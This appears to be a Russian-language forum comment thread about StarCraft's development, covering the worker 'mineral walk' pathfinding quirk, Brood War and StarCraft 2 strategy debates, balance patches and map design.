Какие моменты, кстати, «слишком» похожи? И там и там — безмозглая насекомоподобная раса, организованная в отдельные свормы, постоянно мутирует, находится под управлением надмозгов. На этом всё, не вижу ничего «нагло потянутого». Не будет же никто обвинять любую фентезийную игру (и не только игру), что их эльфы на 99% похожи на эльфов Толкиена?

К тому же, сейчас у зергов полностью своя история.

А про спейсмаринов — вообще смешно. Не знаю, как задумывалось, но сравнивать сейчас спейсмаринов из WH40k, избранных воинов Императора, так сказать, с дохнущими пачками маринами из SC? No way.
darthslider
Изначально спейсмарины не были столь крутыми и не умели превозмогать. На заре WH40k это были обычные люди.
Konair0s
Насколько я знаю, к моменту выхода SC они уже достаточно превозмогали. Но это и не важно, я именно про «сейчас» говорил. Взять то могли из WH40k что угодно, но к сегодняшнему дню идеи уже достаточно разошлись, и эти спейсмарины — совсем разные спейсмарины.

Читал «сравнение» WH40k с SC в каком-то блоге, обзорщик докопался даже до внешнего вида прыжковых ранцев марадёров из SC 2. Помимо картинки со спейсмарином с похожим ранцем, выложил картинку с сороритками (скрин из DoW: Soulstorm) и отметил, что У НИХ В РУКАХ ТОЖЕ ПО ДВА ПИСТОЛЕТА. Nuff said.

Налицо желание провести сравнение не в пользу SC и уличить во «вторичности». Зачем?
DarthSim
Спейс марины + зерги? Лично у меня первая ассоциация — с Starship Troopers Роберта Хайнлайна.
Konair0s
когда впервые увидел starcraft было сильное чувство, что ноги растут из Звездного Десанта Хайнлайна.
uncleLem
Вы не одиноки ))
Klef
Так в первом старкрафте юниты могут проходить друг сквозь друга? Я хотел было еще поработать сегодня, но я должен срочно это проверить.
NickPasko
только рабочие
Tairesh
Конечно могут, это же классика — mineral walk рабочего. Точно также работает и в СК2 и тут более интересно, это так и не смогли решить или специально оставили, как фичу?
Также есть интересный баг поиска пути в СК2, что юнит выбирает свой путь с учетом преград, которые он еще не видел.
quozd
Оставили как важную геймплейную фичу, более того, её даже правили в свое время, например, после одного из патчей mineral walk стал работать не на всех минеральных месторождениях (по-моему, теперь работает только в том случае, если рабочий едет на минерал, ближайший к твоей базе, но могу наврать с деталями).
just_vladimir
Рабочий проходит сквозь любые юниты если направлен на любой минерал, я неоднократно этим пользуюсь… Очень удобно троллить врагов в самом начале, шастая по его базе от крайних минералов, а он пытается тебя поймать сразу 5-8 рабочими и ты проходишь сквозь них, а экономика то у него портится от того, что рабочие от добычи отвлекаются…
JustRoo
А это не сломается одним стреляющим юнитом, например морпехом у Тиранов?
vkrugoff
У зергов и протоссов в начале нет стреляющего юнита.
TheShock
У зергов (SCBW) дронка как раз стреляющая, только рендж маловат, но больше чем у других рабочих. Некоторые особые задры могут запилить дронкой SCV путем hit and run.
SVlad
Сквозь те, которые поставлены на Hold пройти не может.
temonix
Заглючило меня, нет такого.
qehgt
В SC2 есть
qehgt
За что минус? Вы проверяли?
Inori
Сам проверил — минус заслуженный :)
Видимо с собачками попутал
Inori
В SC1 работяга точно может пройти сквозь холд с помощью Mineral Walk.
На этой фиче как раз и основана незатейливая тактика продавливания юнитов, которые стоят на холде Worker Drill.
Вот пример использования.
Inori
Просто шикарно, я вот например глядя на видео даже не понимаю как такой тактики можно противостоять…
starmonkey
Застроиться наглухо пилоном.
Сейчас такие фишки уже редко прокатывают — впрочем, тоссы в основном играют через две базы, с пушками.
Говорят, что в HotS снова иргают через одну… можно будет попробовать :)
vkrugoff
о_О… да тут Старкрафтеры собрались… может сыгранем? или команду создадим? Терран, топ серебра… за «меткой в игре» — welcome в ЛС =)
NickPasko
Через неделю и два дня точно сыгранем.
stalkerxxl
Играл, когда добрался до даймонда, перестал.
Слишком однообразно.
Voley
о_О… мастер-класс не даете? очень нужен…
mark_ablov
Навряд ли, играл я в первые месяцы после релиза.
С тех пор наверняка баланс-патчи всё поменяли.
stalkerxxl
Несколько сезонов назад был полный мастер (1х1, 2х2, 3х3, 4х4) :P
Ну, раз уж разговор зашёл… ))
mark_ablov
А мне нравится в начале игры на картах с рампой идти пачкой рабочих и маринов с медиками на тосса. Правда сначала нужно сделать просветку минералов тосса, иначе mineral walk не сработает. И нужно забаррикадировать свою базу, чтобы противник не знал, что ты собираешься на него идти пехотой, а не техникой (иначе он легко ее отобьет, построив пару дарков).
NickPasko
идти пачкой рабочих и маринов с медиками
7-ая минута (при идeальном исполнении билда «быстрый медивак») — это никак не «вначале игры» =))
Сейчас крутой Билд-ордер — дроп 4 мин на мейн врага… если удачно- «стоп экономика» 100% у соперника =)…
orionll
4 мин? В смысле вультур с минами или минут?
stalkerxxl
Кажется, вы про разные старкрафты
orionll
В StarCraft Broodwar заход маринами и рабочими на рампу на карте Python делается в 5:15. Только что пересмотрел вод Стрелка
SVlad
Дарков… угх…
По-моему, пехота легко отлетает от 3х гейтов. Если к тому же приходят с рабами — тоже снимаешь всех рабов.

Там рассчёт исключительно на неожиданность: терраны играют в технику в 100% из 100, так что тоссы часто даже не разведывают.

Это такое стандартное использование текущего состояния мета-игры, сложившегося на момент применения страты. В другое время, когда мета-игра другая — работать не будет.
orionll
Вообще-то пехота терранов со стимпаком и медиками легко одолевает аналогичное количество пехоты тоссов (до тех пор, пока тот не построит ривера/дарков/темпларов)
NickPasko
Вообще-то 3 гейта делаются очень быстро, и намассить гунов с зилами с 3х гейтов можно вполне достаточно, чтобы убивать пехоту на раннем этапе.
Вот продолжать игру чистыми зилгунами против пехоты — нереально, это верно. Но там уже и дарки не помогают, помогает только сплэш — шторм или риверы.

Года 3 назад я бы сказал: «го гейм, покажу, что 3 гейта отбивают этот раш, как два пальца об асфальт» — но теперь уже растерял квалификацию в БВ, так что остаётся только мамой клясться )))
orionll
> чтобы убивать пехоту на раннем этапе

Ну если только эти гуны с легкостью заходят на базу. Если же их сдерживать на рампе, то они даже одного марина не смогут убить.
NickPasko
кхм… если я не ошибаюсь, то смысл для террана играть через эту страту — не в том, чтобы сидеть и обороняться дома, а чтобы прийти и убить тосса на ЕГО рампе.

А там расклад будет уже другой — это террану придётся толкаться на рампе, пытаясь дотянуться до гунов, стояших сверху. Пока рабы пытаются пройти мимо пары зилотов — чтобы как максимум попасть в объятия штук 6-8 пробок, стянутых с минералов.

А кога эта первая атака отбита (или не пришла — скажем, терран увидел 3 гейта, понял, что ему ничего не светит и поставил эксп) — тосс спокойно развивается до риверов, первым летит харассить рабов, а со вторым ставит экспанд и выходит в середину игры как минимум на равной экономике, с преимущество по технологиям.

Преимущество — за счёт того, что террану в любом случае придётся преключаться на металл — а сделать это через пехоту несколько труднее, чем «по классике». Затратнее как минимум, ну, и микро требует куда больше в замесах середины игры против гунов и риверов в шаттле.
orionll
Ну если 3 гейта да еще и в оборону, то да — никакой пехотой не пробиться. Правда непонятно, с чего бы тоссу вообще строить 3 гейта, если он не видит что у меня происходит на базе.

> тосс спокойно развивается до риверов, первым летит харассить рабов
Не получится, ведь у меня построено много лишней пехоты, и я тут же ее распихаю по бункерам.

> выходит в середину игры как минимум на равной экономике
Ну не факт, потому что я ведь тоже начну развиваться в технику.
NickPasko
Без обид, но, если Вы собираетесь отбиваться от харасса риверов бункерами — то Вы не очень понимаете БВ. :(
Поэтому давайте дальнейшее теоретизирование остановим, а просто вернёмся к моему исходному тезису, к которому Вы и прицепились:
Рассчёт этой стратегии террана — исключительно на неожиданность для противника. Если противник каким-либо образом узнал о ранней атаке — отбиться для него часто не составит труда.
Как я понял, в результате дискуссии мы пришли в заключению, что, да — если протосс увидел (или догадался), что делает терран, то 3 гейта ему помогут.
В довесок к этому я считаю, что они ему помогут добиться преимущества — особенно, если терран всё же нападёт. Вы утверждаете обратное.
Ну, и ладно. :)

Добавлю ещё, что тезис «отбиться протосс может только дарками», видимо, был озвучен автором этого раша, а Вами неправильно понят.
Его нужно перефразировать: «из всех более-менее стандартных стратегий ПвТ, играемых _сегодня_ при условии, что протосс _не_видел_моей_стратегии_ — отобьётся от этого раша только раш дарков».
В такой трактовке всё предельно логично: протосс, не видя, что делает терран, может делать разные «стандартные штуки». Одна из которых — быстрый выход на дарков — легко отбивается от агрессии террана, не имеющего мобильного detection-а и вынужденного полагаться на сканы.
Убить такого террана не убьёшь, но непрямой ущерб (провал раша, необходимость вкладываться в оборону от дарков) будет нанесён.
orionll
> Вы собираетесь отбиваться от харасса риверов бункерами
Ну так у меня выбора нет. У меня есть пачка маринов — надо же их куда-то потратить. Если на меня напал ривер, то самое безопасное, что я вижу — это построить бункер и посадить туда этих маринов. Или вы знаете лучшую стратегию отбивания ривера маринами?

> В довесок к этому я считаю, что они ему помогут добиться преимущества — особенно, если терран всё же нападёт
Если я нападу, то да. Если не нападу, то не вижу преимущества тосса. Мы оба легко выходим в экспаншены, а равное количество баз в PvT, как известно — это преимущество на стороне терранов. Плюс у меня уже построен скан и я всё время вижу, что делает тосс, защищаясь от неприятных сюрпризов типа ривера/дарков.

Вообще, я уже перестал улавливать нить нашей дискуссии. Поэтому предлагаю просто прекратить ее:) Потому что на самом деле еще многое зависит от карты/опыта игроков/фазы луны… Теорию можно всякую придумать, а на деле часто получается так, как ты вовсе не предполагал
NickPasko
Поэтому предлагаю просто прекратить ее:)

О нет, не надо. Мне, как человеку, который играл в старик совсем немного — очень интересно читать))
orionll
Ничего, что это уже предания старины глубокой? ))
Даже Корея вплотную переходит на СК2…
TheShock
Ничего, что это уже предания старины глубокой? ))

Мне интересно с исторической и гейм-диз точки зрения.
NickPasko
Ну, разве что с исторической… гейм-диз тут уж очень специфический ))
Можно ещё перечитать stormwave board за начало двухтысячных, или весь раздел стратегий teamliquid )))
TheShock
Согласен.

Просто отмечу два момента:

1) От ривера надо будет поставить как минимум два бункера, чтобы прикрыть рабов на главной базе. Плюс один — на экспанде. Здания при этом прикрыты не будут вообще ничем.
Ну, то есть можете попробовать, конечно — но против хорошего игрока не советую. В итоге придётся всю игру тратиться на статическую оборону, а протосс спокойно возьмёт одну-две базы и выйдет на лимит армии.

2) Преимуществом для террана равное количество баз является при игре через классику — т.е. сразу в металл, без каких бы то ни было маринов. И то это преимущество — не решающее, а небольшое.
Если же Вы сначала делаете маринов — то окажетесь в ситуации, когда нужных технологий (осада, скорость вультурам) у Вас ещё нет — а у протосса уже всё есть (драгуны, риверы, обсервер).
И Вы окажетесь в ситуации, когда нападать маринами уже бесполезно (драгуны, ривер), а танками/вультурами ещё рано (их просто нет в нужном количестве).
То есть, протосс может одновременно брать третью базу, не опасаясь вультур (скорости ещё нет) и харассить Вас ривером, не особо опасаясь, что Вы сможете его наказать.
В итоге, когда Вы сумеете наконец-то построить достаточно большую металлическую армию (танки/вультуры, немного голиафов или тех же маринов, если у Вас очень прямые руки), чтобы выкатиться и взять третью базу — протосс будет уже давно сидеть на трёх базах, наверняка иметь уже шторм, ноги зилам и хорошие апгрейды, да и армия у него будет как минимум не слабее.

Дальше, конечно, всё зависит от противников — но при прочих равных условиях протосс в явном фаворе.

ЗЫ На самом деле, я играл и ПвТ и ТвП очень много раз и очень по-разному, в том числе — ТвП практически полностью через пехоту. Так можно забавляться только против заведомо более слабого противника. А уж переход с пехоты в металл… бррр… это такое странное ощущение, когда понимаешь, что происходит — но ни черта сделать не можешь. Всё нутро кричит — чорт, если ты сейчас его не накажешь, то через 5 минут уже может быть поздно!
А голова понимает, что наказывать просто нечем. :(
NickPasko
Я думаю, проблема в том, что одно месторождение ресурсов состоит из группы кристаллов, каждый из которых добывается отдельно. То есть по два маршрута на каждый из 10 кристаллов (допустим) на очень короткую дистанцию… Либо коллизии никуда не денутся, либо юниты будут обходить за три версты.

Если честно, когда я играл в старкрафт, я ничерта не смыслил в алгоритмах поиска пути, и такое поведение юнитов мне казалось отличной гемйплейной задумкой.
NickPasko
А ещё при определённых обстоятельствах они сквозь здания могут проходить.
egormerkushev
А про этот баг/фичу я не слышал. Можно пример?
Navij
Я думаю имеется в виду проталкивание рабочего тоссов при заказе зданий, основывается на том, что пробка не может остаться внутри одного из зданий, а должна выехать куда-нибудь. Но с алгоритмом поиска пути это мало связано.
SVlad
Это только если после окончания постройки он оказался заперт другими зданиями не на пустом месте, тогда он начинал метаться и в конце-концов находил свободное место.
DeMoN_MIPT
Рабочие так любят минералы, что прорвутся к ним через любые заслоны!
На самом деле сложно представить себе, что бы mineral walk убрали с точки зрения столкновения дружественных рабочих — они всегда будут сильно мешать друг-другу при добыче без взаимной проницаемости. Но конечно проницаемость рабочего сквозь вражеские юниты — хитрая геймплейная фича.
just_vladimir
>Также есть интересный баг поиска пути в СК2, что юнит выбирает свой путь с учетом преград, которые он еще не видел

Аналогично в warcraft 3
vlivyur
В первом старкрафте тоже было. Я как-то нарисовал карту с лабиринтом, но оказалось, что юниты сами с легкостью проходят в любую точку карты.
celen
Наверное, поэтому в кампании были телепорты и всякие переключатели дверей.
Liza25
AFAIK из-за этого в правилах KESPA-турниров был запрет на mineral-walk разведывающим рабочим сквозь закрывающего проход юнита оппонента.
SVlad
Странно. Это ведь не баг какой-то, это фича.
Aingis
Это побочный эффект от хака для исправления добычи минералов, который к ней никак не относится и, следовательно, баг. Собственно, если бы изначально сделали проход только сквозь своих же рабочих, всё было бы в порядке.
Nbooo
По вашей логике багов не существует, они все фичи, ведь так сделали ;) Статья как раз и посвящена описанию того, почему это не фича.

Вот во второй части на радость олдфагам поведение сохранили уже намеренно и даже усгугубили возможностью сделать стек из рабочих — там это стало фичей.
Volfram
не было такого, вы что-то путаете
TheShock
Да, перепроверил, вы правы: wiki.teamliquid.net/starcraft/Competitive_Rules
Volfram
Во втором рабочие тоже проходят сквозь друг друга, иначе было бы невозможно добывать ресурсы большим кол-вом рабочих, они бы мешали друг друга. В первом рабочий ещё может пройти через боевые юниты, если рабочий отправлен на добычу ресурса (был финт-хак: можно было кликнуть по минералам, чтобы рабочий прошёл через свой или вражеский заслон насквозь, через глухую стену).
celen
Во втором рабочий точно также может проходить сквозь боевые через mineral-walk.
Volfram
Рабочие и только когда суетятся. Когда их много там вообще месиво сплошное.
NickPasko
Это реально круто. То, что Вы до сих пор играете — равно как и сам СК: БВ.

Я вот после буквально двух месяцев СК2 не смог «вернуться». Появилось мучительно чувство необходимости совершения массы ненужных кликов.
Впрочем, это — старый холивар… ))
fixx
не, это не холивар :) Оба старика хороши и мы оба это знаем.
Порадовало, что во втором сделали минимум изменений по рассам/юнитам, зато очень хорошо проработали удобства игры, управления и графики.

Просто приятно играть.
Volfram
Полностью солидарен :)
edhell
Как то непонятно, почему смена отображения с вида сверху на изометрию повлияла на алгоритм нахождения пути. Все равно же по сути карта двумерная, разбитая на прямоугольные клеточки. А то что они рисуются при выводе ромбиками — какая разница?
just_vladimir
Они повернули только карту, но всё остальное так и осталось в старой ориентации. Обратите внимание, когда вы ставите ту же пушку протосов — она занимает 4 квадрата — 2 на 2, и стороны квадрата ориентированны по сторонам экрана.
DIHALT
Дело в том, что изометрически она только выглядела, а в логике она оставалась всё той же тайловой картой.
jsirex
А, понял. То есть изометрия была не настоящей, просто перерисовали спрайты. Рисовалась карта не ромбиками а все теми же квадратиками, так? и при этом прямые границы превратились в лесенки… тогда ясно.
NickPasko
Именно так.
jsirex
Тоже не понимаю. С моей (дилетантсвой) точки зрения игровому движку вообще должно быть пофиг, как карта отображается на эране.
NickPasko
Появилось огромное количество тайлов с неполной проходимостью — тайлы то остались квадратные, а рисунок на них стал диагональным.
Sulako
Ага, уже понял (выше объяснили). Спасибо
Krypt
Ой не туда…
TheShock
Эта фишка с рабочими лишь добавила интереса в игру. Я уже и не представляю SC без нее. Во второй части кстати ее оставили.
Sulako
Это именно ранняя версия старкрафта. Сначала его делали на движке от варкрафта.
TheShock
Убить Кэрьера? О_о
Gunnar
Прохладная история, эта версия даже для истории не сохранилась и ее показывали на е3 один раз.
Сильно сомневаюсь что вы в нее играли.
Даже в бету старкрафта где все уже современное нельзя поиграть, потому что она требует серверов батлнет, что ж говорить о пре-альфе.
SVlad
Бета второго старкрафта требует. А образ диска беты первого старкрафта вполне реально найти.
Gunnar
Бета первого старика только сетевая по батл нету.
Gunnar
>>кстати, эта задача близка к NP-полным задачам

Простите, а это как? Задача либо NP-полна или нет. Может вы имели ввиду «к NP-трудной?».
И вообще отсебятину нужно помечать как таковую, в оригинале нет этой фразы.
Heldar
Это же alizar — он гордится тем, что у него не перевод, а собственная статья на основе англоязычной.
Поэтому не ставит тэг «перевод», а текст чуть-чуть разбавляет отсебятиной.
vkrugoff
Интересно сколько бы времени понадобилось разработчикам для правильного исправления багов, когда и какой тогда бы вышла игра, не будь такого жёсткого дедлайна…
Возможно, тогда бы мы увидели ещё более высокий уровень реализации особенностей игры и смогли бы посмотреть на противостояние в умах игроков SC и C&C:TS (Я очень уважаю обе игры)
SVlad
Не было жесткого дедлайна, они же писали что постоянно переносили дедлайн, и в итоге опоздали на полтора года.
Противостояния в умах никакого не было и не могло быть, популярность старкрафта была в разы, десятки раз выше, а тибериан сан просто был неплохой игрой.
В старкрафт до сих пор есть лиги в корее, телевидение, очень много людей играет уже 15 лет, а тибериан сан через пару лет уже мало кто вспоминал.
vkrugoff
а тибериан сан через пару лет уже мало кто вспоминал.

И, кстати, зря, имхо. Тибериан сан имела кучу метагейма и очень интересную механику. Мне удивительно, что она не стала популярной. Видимо, была слишком сложной.
McBernar
Ну ТС по сути клон того же С&C, те же две стороны, не глобально отличающиеся, сомнительный баланс. В свое время конечно С&C и Ред Алерт были хитами, но тянуть ту же волыну нный раз и ожидать супер популярности было странно.
И тут приходит старкрафт, три совершенно уникальных расы, у которых мало что общего, это было в новинку. До этого все стратегии были с парой сторон, отличающимися скорее номинально, а тут разные стратегии, и т.д. и т.п. И плюс отличный баланс, который разработчики постоянно подкручивали.
workless
Ну это вы зря, в C&C довольно сильно отличались расы. Не как в СК, но все же.
Старкрафт и близзард в общем синонимы слова «баланс» в некотором роде. Настолько серьезной работы по балансировке мультиплеера пожалуй нет ни у кого, по крайней мере в жанре стратегий.
Особенно интересно не сведущему человеку читать регулярные patch note с тестовых серверов. Там на единичку урон увеличили, тут на 5 минералов удешевили, но на 2 секунды дольше строится и т.д. Ты думаешь «что за ерунда, кому это надо!». А получается, то что получается. Серьезная киберспортивная дисциплина.
Voley
А еще интереснее смотреть, как эти изменения влияют на стратегии и стили игры. Когда время строительства бункера уменьшили с 40 секунд до 30, террану стало проще отбиваться от ранних пушей, но при этом появилась новая тактика раша — поставить бункер на рампе провтыкавшего оппа и загнать туда марина (а то и двух, если с прокси). В итоге время строительства бункера подняли с 30 до 35 — в связи с изменившимися к тому моменту игровыми тенденциями это было сочтено разумным компромиссом. И таких историй очень много.

Вообще, чем больше за этим наблюдаешь, тем сильнее осознаешь, что любое изменение баланса — это маленький подвиг. Оно должно быть очень хорошо продумано, риск непредвиденных последствий должен быть сведен к минимуму, и при этом оно должно одинаково не помешать игре как киберспортсменов с апм 400+, так и обычных казуалов из бронзы-серебра. Сколько ресурсов они тратят на подготовку и анализ балансченжей — мне даже представить страшно.

SVlad
Сколько денег они получают по сути именно за балансченджи представьте, сразу перестанете бояться )

Про «одинаковость» баланс на разных уровнях игры двояко: в целом да, он есть на и в бронзе и на финале ГСЛ. В частности же… не знаю как сейчас, но недавно был период когда тераны играли только при божественном микро. Нет микро — тебя выносит зерг или протос через ctrl+a. И это чувствовалось даже на серьезном про уровне.
Voley
Ну да. А до этого говорили, что терран выносит всех через МММ по ctrl+a. Или что мехтерран неиграбелен. Или что ТВТ — это на полтора часа. Или что 4ВГП не контрится. Или что муталиски без мутастека неиграбельны. Или стоп, по ним же сплеш не действует — да это имба, верните мутастек! И так далее, и так далее. Я, честно говоря, не очень во все это верю.
Gunnar
Тут на лицо еще «эволюция» тактик. 4ВГП была имбой пока была в новинку. Ее научились контрить раньше, чем понерфили (если нерф и был). Тут же сплошные компромиссы. Быстро нападаешь — проседаешь по экономике и технологии, вложился в технологии — потерял в войсках. Всегда есть на чем «подловить» оппонента.
tyomitch
Ну как новые страты… В бету хотс не играл по факту только ленивый, на серьезном уровне все эти новые страты уже пару месяцев как не новые. Ну да, будут еще патчи и фиксы баланса, но серьезные изменения, связанные с хотсом в головах про игроков произошли уже давно.
klikalka
Есть довольно большой пласт казуалов, которые спокойно себе варятся с бронзы по золото/платину ладдера, за ХотСом не следят и обо всех изменениях узнают только с релизом, так что да, на топ-сцене изменится мало что, но «длинный хвост» игроков, думаю, найдет для себя много интересного.
Voley
По моему опыту, всеми тремя расами можно играть через а-клик с минимумом микро примерно до топа платины. Там уже начинаются перебои и приходится немного отвлекаться от макро.
А уж расчехлять АПМ по полной так вообще приходится уже ближе к середине алмаза.
TheShock
ИМХО сплит мариков от бейлингов пример того микро, которое нужно уже чуть ли не с серебра. Кстати в СК2 есть дефолтная отличная карта на тренировку разных микросценариев. Например Марики vs бейлинги. Или 3 марика vs 2 зила. Понятно что в реальной игре много из того что там показано не сработает (ну не будут зилы на автоатаке бегать по разным целям), но важному все равно учат.
Voley
Можно забить на маринов и играть через гелионов-торов, предварительно отожравшись до лимита под прикрытием танков. А потом — а-клик, при желании пострелять пушками. ))

Если же говорить о тренировке микро — то это лучше делать на мультиплеерных картах а-ля Micro Tournament.
darthslider
Марики-Мародеры-Медиваки по моему самая простая стратегия за теранов, с неплохим выходом в макро.
Или Марики-Танки-Медиваки.
Вообще, никогда чистый мех не любил. Но это уже вкусовщина.
JustRoo
Простите, что вмешиваюсь, но МТМ — очень плохой билд, особенно для новичка. Он органично сочетает в себе недостатки пехотного и механизированного террана, но при этом я не вижу никаких преимуществ, которыми можно воспользоваться.
darthslider
Вкусовщина, да :)
За МММ, конечно, придётся помикрить… но уж точно не в серебре. В серебре-золоте в основном всё решает быстрый отжор и макро, там противников можно убивать практически чем угодно — лишь бы в массовых количествах )))
JustRoo
Не знаю, никогда не склонен поддерживать нытьё в стиле «тоссы имба… понерфить терров» и всё в таком духе.
Играю рандомом года с 2003го, и уже привык пенть не на расовые особенности, а на свои кривые руки или глупую голову.

Чаще всего то, что считается «имбой» — на самом деле даёт _очень_небольшое_ преимущество противнику. И в принципе может быть обойдено просто изменением стиля игры.

Ну, взять ту же недавнюю «имба страту» в позднем ЗвП — масс бруды, инфесторы, статическая оборона на выдвинутом вперёд крипе.
Сколько было криков, что это не убивается — и что в итоге? Тоссы сначала добавили в микс мамашип с вортексом и немного подравняли шансы. Потом добавили призмоварпы в тыл зерга — и имба вообще перестала выглядеть имбой, т.к. оказалась неспособна быстро реагировать на харасс в разных местах карты.
Зерг стал вынужден тратиться на статику на основных базах (прикрывать ключвые строения, новые базы). Был вынужден оставлять часть лимита под лингов, тем самым ослабляя «лобовую» армию.

Всё течёт, всё изменяется — и старые имбы становятся вообще не валидными в новой мета-игре.
darthslider
Вот я о том же =) В любой момент времени есть тактика, которая считается имбовой и неконтрящейся, но проходит немного времени, на очередном лане кто-то из топов показывает контру, потом эту контру заучивают все, и на смену приходит новая имба-страта.
stalkerxxl
поставить бункер на рампе провтыкавшего оппа и загнать туда марина (а то и двух, если с прокси)

Простите, ЧТО??
darthslider
Я подразумевал не _прямо_ на рампе, естественно, а либо внизу, если опп открывался через фастэкспанд, либо сверху, если идет игра с одной нычки.
JustRoo
Я не это имею в виду) Для человека, не знакомого со старкрафтом, звучит как речь марсиан.
NickPasko
Вы видимо с EVE online не сталкивались )
darthslider
Самое время приобщиться =)
NickPasko
Старая тема ))
Не раз замечал, что разговор крафтеров после турнира за пивом окружающими воспринмается, как феня ))

«Я чекнул рабом — он хамится в кармане, турбоньюба на клифф вообще не ждёт. Ну, думаю, ладно, я не рашер, поиграем в лейт. Поставил застройку на чоке и тоже натурал захамил — сидж, бунки сделал и в металл ушёл.»
darthslider
Кстати, очень много в баланс привносит дизайн карт.
Я это заметил ещё по позднему БВ, ну, а эволюция карт от «небольшая, тесная, для быстрой игры» к «огромная, просторная, куча баз для лейта» в СК2 просто бросается в глаза.
Просто вспомните: в бете 90% игр заканчивались гоп-стратами. Сейчас — наоборот, в основном отжор, по 1-2 быстрых экспанда, выход в макро и массовые замесы в лейте.

Тот же «неотбиваемый 4ВГП» так долго был опасен ровно потому, что для него неважно, как далеко ты находишься от противника, т.е. не зависит от карты.
Другие гоп-страты перестали работать имхо именно из-за карт.
JustRoo
Да, именно поэтому в Heart of the Swarm перешли к огромным картам. «Чтобы не было тупых атак рабочими,» — как говорят разработчики.
NickPasko
Я был удивлён, почему они не сделали этого ещё в WoL — хотя практика киберспорта наглядно продемонстрировала эту эволюцию, независимо от самих Близзов.
Видимо, решили, что они сами с усами и способны создать ТАКИЕ маленькие карты, на которых всем будет интересно играть )))

Однако, надо отдать им должное — таки сумели воспитать у себя картоделов. Или взять со стороны — не знаю… ;)
NickPasko
Ага, когда в самой финальной игре Iron Quid (Крупнейший европейский турнир, пожалуй) играют 6 пул и сливаются.
Рашей и чизов тоже достаточно, на самом деле. Прелесть в том, что есть выбор: лейт или чизы.
JustRoo
Да, именно.
Сейчас чизы — это часть мета-игры:
«Я знаю, что на этой карте обычно хамятся. Этот игрок тем более наверняка хамится. Я его чизну, и, даже если ничего не выйдет — в следующей игре он будет играть менее нагло, будет перестраховываться — попробую получить преимущество за счёт этого.»
То есть обычное мышление «стратежного» игрока в серии.
Delphist2008
Мне кажется в StarCraft 2 они переборщили c борьбой против универсальности юнитов. Лично для меня микроменеджмент, кучи кликов туда-сюда туда-сюда для управления каждым юнитом — самое противное в играх, а при необходимости использовать кучу спецефических пород юнитов и их спецвозможности против разных юнитов противника этого микроменеджмента становится слишком много.
JustRoo
А в СК2 отменный матчмейкинг, играйте себе для удовольствия в бронзе и не заморачивайтесь. Там работают порой такие тактики, от которых в платине волосы дыбом бы встали у «отцов» («раш батлкрузерами» самое невинное). На низком уровне игры например тераны довольно не критичны к микро (почти нет используемых абилок, кроме стимпака), в отличие от зергов (успевать втыкать инъекции королевами) или протосов (штормы, форсфилды и т.д.). Но тут каждому свое.
Прелесть в том, что игра глубже чем «камень-ножницы-бумага-осадный танк-авианосец». Видели хоть раз как протос фениксами (чистый анти-воздух юнит) контрит гидралисков (лютый дпс, отлично разносят воздух)? Эффект неожиданности + скилл.
Delphist2008
эээээ… Вы в первый не играли ))
Вот уж где было тяжело играть на достойном уровне с моим АПМ 110 ))
darthslider
Ого, Оверлорд мог наносить урон, ух-ты. Всегда интересно посмотреть на шедевры нашего времени со стороны, как они выглядели на стадии разработки.
JustRoo
Да чего далеко ходить — поглядите на Темпеста ))
NickPasko
Super Nintendo насколько я знаю 16-битная приставка.
NickPasko
Что вероятно не мешает ей поддерживать аппаратное ускорение для рендеринга тайлов 8х8?
Aingis
Тайлы она поддерживала от 8х8 до 64х64. Я лишу указал на имевшуюся неточность в статье/переводе, которую уже исправили.
NickPasko
>«Ещё скажи спасибо, что мы списали твою машину и дом, грёбаная ты крысолицая с#ка»

Не знал, что в 1998 году уже писали на C#
darthslider
Dominion была потрясающей игрой с непревзойдёнными для своего времени графикой (чуть ли ни единственная игра того времени, поддерживающая разрешения большие даже по сегодняшним меркам) и музыкой (которую я слушал отдельно, вставив диск с игрой в музыкальный центр — там были CDDA-дорожки). Ей не хватало только эпического сюжета, какие были и у WarCaft 2 и StarCraft и играх от Westwood/EA — к сожалению сюжет Dominion был банален, недетализирован и совершенно идентичен для всех игровых рас.

А первый StarCraft с BroodWar лично я считаю эталоном RTS. Она идеальна. Ничего лучше нет и уже не будет.
NickPasko
Для своего времени — безусловно, идеальна.
Но, рискуя поднять старый холивар, скажу, что высвобожденный «удобствами управления» АПМ в СК2 прекрасно тратится на харасс, одновременное ведение боя в разных местах карты, распространение/уничтожение крипа — в общем, не на обслуживание неудобной системы управления, а на реальные игровые моменты.

Что имхо только повышает и соревновательность, и зрелищность.
StrangeAttractor
Этот минерал волк хак на самом деле сильно позднее привел к появлению интересного хака в брудворе. Навскидку видео не нашел, видимо починили. Если дроном сделать газилку, а потом через шифт указать любую точку на карте, и подгадать что в момент подхода рабочего денег на газилку бы не оставалось, то рабочий идет в следующую точку поверх всех препятствий. Дрон как бы скользит над картой и может попасть на изолированный остров например. Аналогичная была бага с арконом и темпаларами. На удивление, не могу найти ни видео ни даже детального описания в гугле.
darthslider
wiki.teamliquid.net/starcraft/Competitive_Rules

Flying Drones and Templar
The flying drones and templar glitch allows drones and templar to act like air units. This essentially means that drones can take an island expansion without drop tech and templar can storm worker lines without the use of shuttles.

Там еще много интересных багов, легальных и нет.
NickPasko
Неоднократно пытался в своё время (даже старые версии специально искал), так ни разу и не получилось реализовать ни один из подобных багов (или какой-то один получилось, не помню), так что для меня они так и остались в разряде «городских легенд» :-(

Вообще играю в основном в сингл и очень люблю такие вещи. Читерство кодами для меня слишком топорно, а, к примеру, механизм копирования предметов через какие-то манипуляции, лично мне кажется, должен быть в любой приличной RPG :-)
Ramaloke
Ну вообще СК2 очень интересно показал, как баги стали фичами. Например те же рабы, проходящие через юниты к минералам. Или возможность забрать дропшипом юнит, пока в него летит снаряд. Юнит не получит урона.
NickPasko
Иногда кажется, что код великих вещей должен быть так же прекрасен, как и сами эти вещи. И с унынием смотришь на код той системы, над которой работаешь. А потом читаешь такую статью и как-то успокаивает!
VBKesha
А будут ли еще подобные переводы?
Очень уж понравились :)
nalimka
Это скорее пересказ, от перевода довольно далеко.
VBKesha
Конечно, мой недочет.
G__Z
Эта статья многое объясняет лично для меня.
Теперь я понимаю откуда взялся баг с зерговскими птичками из собачек, и почему возможно базу посадить впритык в минералам (в одной из старых версий).
StrangeAttractor
Так вроде и сейчас можно впритык ослеплённым (медиком) рабочим впритык к неразведанным ресурсом (первый Starcraft). Правда, надо хорошо знать карту.
NickPasko
Поэтому он решил, что здесь не обойтись без грязного хака — и он полностью удалил часть кода, которая отвечала за предотвращение столкновений рабочих юнитов с другими юнитами.

Таким образом. рабочие юниты смогли буквально проходить друг сквозь друга, проблему с пробками решили.

Отличный пример превращения бага в фичу.
srez
